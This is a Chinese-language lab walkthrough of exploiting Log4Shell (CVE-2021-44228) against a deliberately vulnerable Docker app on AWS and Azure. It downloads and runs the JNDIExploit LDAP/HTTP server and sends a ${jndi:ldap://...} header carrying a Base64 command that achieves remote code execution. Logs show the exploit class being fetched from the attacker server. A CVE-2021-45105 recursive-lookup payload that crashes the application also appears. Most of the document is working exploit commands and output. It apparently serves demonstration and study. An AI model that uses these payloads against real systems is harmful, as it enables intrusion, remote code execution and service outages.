Log4Shell 与 AWS 演示
curl 命令行访问 HTTP 服务器的地方log4j 的 HTTP 服务器的易受攻击应用$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure 使用 java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# 将服务端点指定为元数据中的 EC2 私有 IP
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# 将服务端点指定为元数据中的私有 IP
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
当客户端使用 X-Api-Version 头正确发送请求时，服务器会返回 Hello World!。否则，客户端会收到 400 HTTP 错误（错误请求）。
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}
# 正确带有头的请求
2021-12-22 02:44:40.920 INFO 1 --- [nio-8080-exec-3] HelloWorld : Received a request for API version 1
It's Hello from System.out.
# 没有正确输入的请求
2021-12-22 02:44:43.102 WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
现在我们发送带有头 'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' 的注入请求，这将触发 CVE-2021-44228 执行 JNDI 查找以访问 ldap，并实现远程代码执行（RCE）。
dG91Y2ggL3RtcC9wd25lZAo=} 是 Linux 命令 touch /tmp/pwned 的 Base64 编码。一旦 RCE 成功，它将在易受攻击的应用中创建一个文件。
你也可以通过将 base64 字符串替换为 https://www.base64encode.org/ 上的内容来更改行为。
# 发送带有注入的请求
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
...
...
# 接收注入并将其重定向到我们在请求中指明的 JNDI 漏洞利用服务器
2021-12-22 03:04:06.567 INFO 1 --- [nio-8080-exec-6] HelloWorld : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
# 从服务器易受攻击应用收到 LDAP 查询
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# 将编码后的字符串发送回易受攻击的应用，让应用以 base64 格式执行命令
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250 /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200
# 获取服务器中易受攻击应用的容器 ID
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a4b14c4adb6c vulnerable-app "java -jar /app/spri…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vulnerable-app
# 注入前列出 /tmp 文件夹
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
# 确认通过注入请求实现了 RCE
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
-rw-r--r-- 1 root root 0 Dec 22 03:04 pwned # RCE 已实现
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
Log4j2 版本 2.0-alpha1 到 2.16.0（不包括 2.12.3）未能防止自引用查找导致的未受控递归。当日志记录配置使用带有上下文查找 (Context Lookup) 的非默认模式布局 (Pattern Layout) 时，攻击者能够控制线程上下文映射 (Thread Context Map, MDC) 输入数据，可以构造包含递归查找的恶意输入数据，从而导致 StackOverflowError 终止进程。 - 描述来自 CVE-2021-45105, Apache
现在，我们可以使用 StrSubstitutor 类输入 ${${::-${::-$${::-j}}}} 到线程上下文映射，使应用程序因无限递归错误而崩溃。
# 发送带有注入的请求
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
